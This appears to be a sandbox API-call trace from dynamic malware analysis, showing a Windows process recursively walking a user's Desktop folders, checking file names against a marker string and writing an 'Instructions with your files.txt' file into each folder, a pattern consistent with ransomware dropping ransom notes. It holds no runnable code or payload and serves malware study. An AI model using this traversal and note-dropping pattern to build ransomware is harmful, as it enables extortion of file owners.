[0131.566] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9aa76e0, ftCreationTime.dwHighDateTime=0x1d5c1b2, ftLastAccessTime.dwLowDateTime=0x2b354180, ftLastAccessTime.dwHighDateTime=0x1d5c500, ftLastWriteTime.dwLowDateTime=0x2b354180, ftLastWriteTime.dwHighDateTime=0x1d5c500, nFileSizeHigh=0x0, nFileSizeLow=0x7d10, dwReserved0=0x0, dwReserved1=0x0, cFileName="MZsA6KeasgkmBOzSX1.wav", cAlternateFileName="MZSA6K~1.WAV")) returned 1
[0131.566] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MZsA6KeasgkmBOzSX1.wav") returned 64
[0131.566] StrStrIW (lpFirst="MZsA6KeasgkmBOzSX1.wav", lpSrch="SDfghjkl") returned 0x0
[0131.566] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2755e0, ftCreationTime.dwHighDateTime=0x1d5b959, ftLastAccessTime.dwLowDateTime=0x5d2436e0, ftLastAccessTime.dwHighDateTime=0x1d5c0ac, ftLastWriteTime.dwLowDateTime=0x5d2436e0, ftLastWriteTime.dwHighDateTime=0x1d5c0ac, nFileSizeHigh=0x0, nFileSizeLow=0x696, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngGJO4D5qO7vd.docx", cAlternateFileName="NGGJO4~1.DOC")) returned 1
[0131.566] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ngGJO4D5qO7vd.docx") returned 60
[0131.566] StrStrIW (lpFirst="ngGJO4D5qO7vd.docx", lpSrch="SDfghjkl") returned 0x0
[0131.566] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce559580, ftCreationTime.dwHighDateTime=0x1d5b7fa, ftLastAccessTime.dwLowDateTime=0xab52c990, ftLastAccessTime.dwHighDateTime=0x1d5b6ab, ftLastWriteTime.dwLowDateTime=0xab52c990, ftLastWriteTime.dwHighDateTime=0x1d5b6ab, nFileSizeHigh=0x0, nFileSizeLow=0x17fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="nXfFgl7FCV_Tkau.bmp", cAlternateFileName="NXFFGL~1.BMP")) returned 1
[0131.566] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\nXfFgl7FCV_Tkau.bmp") returned 61
[0131.566] StrStrIW (lpFirst="nXfFgl7FCV_Tkau.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.566] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6abcfa00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x6b559080, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x698bcd00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ooolbx.exe", cAlternateFileName="")) returned 1
[0131.566] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ooolbx.exe") returned 52
[0131.566] StrStrIW (lpFirst="ooolbx.exe", lpSrch="SDfghjkl") returned 0x0
[0131.566] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e76ca0, ftCreationTime.dwHighDateTime=0x1d5c007, ftLastAccessTime.dwLowDateTime=0x1944be80, ftLastAccessTime.dwHighDateTime=0x1d5bb49, ftLastWriteTime.dwLowDateTime=0x1944be80, ftLastWriteTime.dwHighDateTime=0x1d5bb49, nFileSizeHigh=0x0, nFileSizeLow=0x228f, dwReserved0=0x0, dwReserved1=0x0, cFileName="OR uuib_ Nlx1.m4a", cAlternateFileName="ORUUIB~1.M4A")) returned 1
[0131.566] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\OR uuib_ Nlx1.m4a") returned 59
[0131.566] StrStrIW (lpFirst="OR uuib_ Nlx1.m4a", lpSrch="SDfghjkl") returned 0x0
[0131.566] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24190b60, ftCreationTime.dwHighDateTime=0x1d5c470, ftLastAccessTime.dwLowDateTime=0xc52ab2e0, ftLastAccessTime.dwHighDateTime=0x1d5c4cc, ftLastWriteTime.dwLowDateTime=0xc52ab2e0, ftLastWriteTime.dwHighDateTime=0x1d5c4cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="phAWcHb", cAlternateFileName="")) returned 1
[0131.566] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb") returned 49
[0131.566] GetProcessHeap () returned 0x810000
[0131.566] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.566] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\*") returned 51
[0131.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24190b60, ftCreationTime.dwHighDateTime=0x1d5c470, ftLastAccessTime.dwLowDateTime=0xc52ab2e0, ftLastAccessTime.dwHighDateTime=0x1d5c4cc, ftLastWriteTime.dwLowDateTime=0xc52ab2e0, ftLastWriteTime.dwHighDateTime=0x1d5c4cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.568] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\.") returned 51
[0131.568] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24190b60, ftCreationTime.dwHighDateTime=0x1d5c470, ftLastAccessTime.dwLowDateTime=0xc52ab2e0, ftLastAccessTime.dwHighDateTime=0x1d5c4cc, ftLastWriteTime.dwLowDateTime=0xc52ab2e0, ftLastWriteTime.dwHighDateTime=0x1d5c4cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.568] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\..") returned 52
[0131.568] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d4181a0, ftCreationTime.dwHighDateTime=0x1d5bebe, ftLastAccessTime.dwLowDateTime=0xfd4159e0, ftLastAccessTime.dwHighDateTime=0x1d5c3f5, ftLastWriteTime.dwLowDateTime=0xfd4159e0, ftLastWriteTime.dwHighDateTime=0x1d5c3f5, nFileSizeHigh=0x0, nFileSizeLow=0x7401, dwReserved0=0x0, dwReserved1=0x0, cFileName="0vGOC.avi", cAlternateFileName="")) returned 1
[0131.568] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\0vGOC.avi") returned 59
[0131.568] StrStrIW (lpFirst="0vGOC.avi", lpSrch="SDfghjkl") returned 0x0
[0131.568] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bcfb70, ftCreationTime.dwHighDateTime=0x1d5ba07, ftLastAccessTime.dwLowDateTime=0x90e28010, ftLastAccessTime.dwHighDateTime=0x1d5bace, ftLastWriteTime.dwLowDateTime=0x90e28010, ftLastWriteTime.dwHighDateTime=0x1d5bace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CmHNFT8ghNe", cAlternateFileName="CMHNFT~1")) returned 1
[0131.568] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe") returned 61
[0131.568] GetProcessHeap () returned 0x810000
[0131.568] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.568] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\*") returned 63
[0131.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bcfb70, ftCreationTime.dwHighDateTime=0x1d5ba07, ftLastAccessTime.dwLowDateTime=0x90e28010, ftLastAccessTime.dwHighDateTime=0x1d5bace, ftLastWriteTime.dwLowDateTime=0x90e28010, ftLastWriteTime.dwHighDateTime=0x1d5bace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.569] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\.") returned 63
[0131.569] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4bcfb70, ftCreationTime.dwHighDateTime=0x1d5ba07, ftLastAccessTime.dwLowDateTime=0x90e28010, ftLastAccessTime.dwHighDateTime=0x1d5bace, ftLastWriteTime.dwLowDateTime=0x90e28010, ftLastWriteTime.dwHighDateTime=0x1d5bace, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.569] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\..") returned 64
[0131.569] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eff6c50, ftCreationTime.dwHighDateTime=0x1d5b65b, ftLastAccessTime.dwLowDateTime=0xe2174400, ftLastAccessTime.dwHighDateTime=0x1d5c5ac, ftLastWriteTime.dwLowDateTime=0xe2174400, ftLastWriteTime.dwHighDateTime=0x1d5c5ac, nFileSizeHigh=0x0, nFileSizeLow=0xe7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="8C4Z.bmp", cAlternateFileName="")) returned 1
[0131.569] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\8C4Z.bmp") returned 70
[0131.569] StrStrIW (lpFirst="8C4Z.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.569] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa58e6830, ftCreationTime.dwHighDateTime=0x1d5c4f6, ftLastAccessTime.dwLowDateTime=0xe1fcea00, ftLastAccessTime.dwHighDateTime=0x1d5c021, ftLastWriteTime.dwLowDateTime=0xe1fcea00, ftLastWriteTime.dwHighDateTime=0x1d5c021, nFileSizeHigh=0x0, nFileSizeLow=0x3fa6, dwReserved0=0x0, dwReserved1=0x0, cFileName="cbk0VRl.mp3", cAlternateFileName="")) returned 1
[0131.569] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\cbk0VRl.mp3") returned 73
[0131.569] StrStrIW (lpFirst="cbk0VRl.mp3", lpSrch="SDfghjkl") returned 0x0
[0131.569] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cb74320, ftCreationTime.dwHighDateTime=0x1d5b854, ftLastAccessTime.dwLowDateTime=0xfbd750a0, ftLastAccessTime.dwHighDateTime=0x1d5b8d3, ftLastWriteTime.dwLowDateTime=0xfbd750a0, ftLastWriteTime.dwHighDateTime=0x1d5b8d3, nFileSizeHigh=0x0, nFileSizeLow=0xb1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCO3NH.wav", cAlternateFileName="")) returned 1
[0131.569] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\PCO3NH.wav") returned 72
[0131.569] StrStrIW (lpFirst="PCO3NH.wav", lpSrch="SDfghjkl") returned 0x0
[0131.569] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8016a740, ftCreationTime.dwHighDateTime=0x1d5b978, ftLastAccessTime.dwLowDateTime=0x68666590, ftLastAccessTime.dwHighDateTime=0x1d5bd42, ftLastWriteTime.dwLowDateTime=0x68666590, ftLastWriteTime.dwHighDateTime=0x1d5bd42, nFileSizeHigh=0x0, nFileSizeLow=0x10129, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Fu0UX-l.avi", cAlternateFileName="")) returned 1
[0131.569] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\_Fu0UX-l.avi") returned 74
[0131.569] StrStrIW (lpFirst="_Fu0UX-l.avi", lpSrch="SDfghjkl") returned 0x0
[0131.569] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8016a740, ftCreationTime.dwHighDateTime=0x1d5b978, ftLastAccessTime.dwLowDateTime=0x68666590, ftLastAccessTime.dwHighDateTime=0x1d5bd42, ftLastWriteTime.dwLowDateTime=0x68666590, ftLastWriteTime.dwHighDateTime=0x1d5bd42, nFileSizeHigh=0x0, nFileSizeLow=0x10129, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Fu0UX-l.avi", cAlternateFileName="")) returned 0
[0131.569] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\Instructions with your files.txt") returned 94
[0131.569] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\CmHNFT8ghNe\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phawchb\\cmhnft8ghne\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.571] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.572] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.572] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.572] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.572] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.572] CloseHandle (hObject=0x114) returned 1
[0131.572] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.572] GetProcessHeap () returned 0x810000
[0131.572] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.572] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf5ce90, ftCreationTime.dwHighDateTime=0x1d5bdfe, ftLastAccessTime.dwLowDateTime=0xa57a8570, ftLastAccessTime.dwHighDateTime=0x1d5c35e, ftLastWriteTime.dwLowDateTime=0xa57a8570, ftLastWriteTime.dwHighDateTime=0x1d5c35e, nFileSizeHigh=0x0, nFileSizeLow=0x17767, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dj3g8Z Yd gGaiN5.gif", cAlternateFileName="DJ3G8Z~1.GIF")) returned 1
[0131.573] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\Dj3g8Z Yd gGaiN5.gif") returned 70
[0131.573] StrStrIW (lpFirst="Dj3g8Z Yd gGaiN5.gif", lpSrch="SDfghjkl") returned 0x0
[0131.573] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe58ae60, ftCreationTime.dwHighDateTime=0x1d5b705, ftLastAccessTime.dwLowDateTime=0x3580bae0, ftLastAccessTime.dwHighDateTime=0x1d5ba95, ftLastWriteTime.dwLowDateTime=0x3580bae0, ftLastWriteTime.dwHighDateTime=0x1d5ba95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KsGNpvKcZBzPV", cAlternateFileName="KSGNPV~1")) returned 1
[0131.573] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV") returned 63
[0131.573] GetProcessHeap () returned 0x810000
[0131.573] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.573] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\*") returned 65
[0131.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe58ae60, ftCreationTime.dwHighDateTime=0x1d5b705, ftLastAccessTime.dwLowDateTime=0x3580bae0, ftLastAccessTime.dwHighDateTime=0x1d5ba95, ftLastWriteTime.dwLowDateTime=0x3580bae0, ftLastWriteTime.dwHighDateTime=0x1d5ba95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.574] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\.") returned 65
[0131.574] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe58ae60, ftCreationTime.dwHighDateTime=0x1d5b705, ftLastAccessTime.dwLowDateTime=0x3580bae0, ftLastAccessTime.dwHighDateTime=0x1d5ba95, ftLastWriteTime.dwLowDateTime=0x3580bae0, ftLastWriteTime.dwHighDateTime=0x1d5ba95, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.574] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\..") returned 66
[0131.574] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bacc80, ftCreationTime.dwHighDateTime=0x1d5c4a8, ftLastAccessTime.dwLowDateTime=0xcd78fa00, ftLastAccessTime.dwHighDateTime=0x1d5c072, ftLastWriteTime.dwLowDateTime=0xcd78fa00, ftLastWriteTime.dwHighDateTime=0x1d5c072, nFileSizeHigh=0x0, nFileSizeLow=0x12934, dwReserved0=0x0, dwReserved1=0x0, cFileName="eAqKeULV JTyl4QK1Lk.pdf", cAlternateFileName="EAQKEU~1.PDF")) returned 1
[0131.574] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\eAqKeULV JTyl4QK1Lk.pdf") returned 87
[0131.574] StrStrIW (lpFirst="eAqKeULV JTyl4QK1Lk.pdf", lpSrch="SDfghjkl") returned 0x0
[0131.574] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c38ba0, ftCreationTime.dwHighDateTime=0x1d5bbe0, ftLastAccessTime.dwLowDateTime=0x1fd3bc50, ftLastAccessTime.dwHighDateTime=0x1d5c2ca, ftLastWriteTime.dwLowDateTime=0x1fd3bc50, ftLastWriteTime.dwHighDateTime=0x1d5c2ca, nFileSizeHigh=0x0, nFileSizeLow=0x1711c, dwReserved0=0x0, dwReserved1=0x0, cFileName="K7gPYuqL55.docx", cAlternateFileName="K7GPYU~1.DOC")) returned 1
[0131.574] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\K7gPYuqL55.docx") returned 79
[0131.574] StrStrIW (lpFirst="K7gPYuqL55.docx", lpSrch="SDfghjkl") returned 0x0
[0131.574] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21aad6c0, ftCreationTime.dwHighDateTime=0x1d5b989, ftLastAccessTime.dwLowDateTime=0xe5313fa0, ftLastAccessTime.dwHighDateTime=0x1d5b5d1, ftLastWriteTime.dwLowDateTime=0xe5313fa0, ftLastWriteTime.dwHighDateTime=0x1d5b5d1, nFileSizeHigh=0x0, nFileSizeLow=0xcc11, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyFyzEu2HMjQvTe0LMu1.jpg", cAlternateFileName="MYFYZE~1.JPG")) returned 1
[0131.574] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\MyFyzEu2HMjQvTe0LMu1.jpg") returned 88
[0131.575] StrStrIW (lpFirst="MyFyzEu2HMjQvTe0LMu1.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.575] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21aad6c0, ftCreationTime.dwHighDateTime=0x1d5b989, ftLastAccessTime.dwLowDateTime=0xe5313fa0, ftLastAccessTime.dwHighDateTime=0x1d5b5d1, ftLastWriteTime.dwLowDateTime=0xe5313fa0, ftLastWriteTime.dwHighDateTime=0x1d5b5d1, nFileSizeHigh=0x0, nFileSizeLow=0xcc11, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyFyzEu2HMjQvTe0LMu1.jpg", cAlternateFileName="MYFYZE~1.JPG")) returned 0
[0131.575] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\Instructions with your files.txt") returned 96
[0131.575] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\phAWcHb\\KsGNpvKcZBzPV\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phawchb\\ksgnpvkczbzpv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.575] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.576] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.576] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.576] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
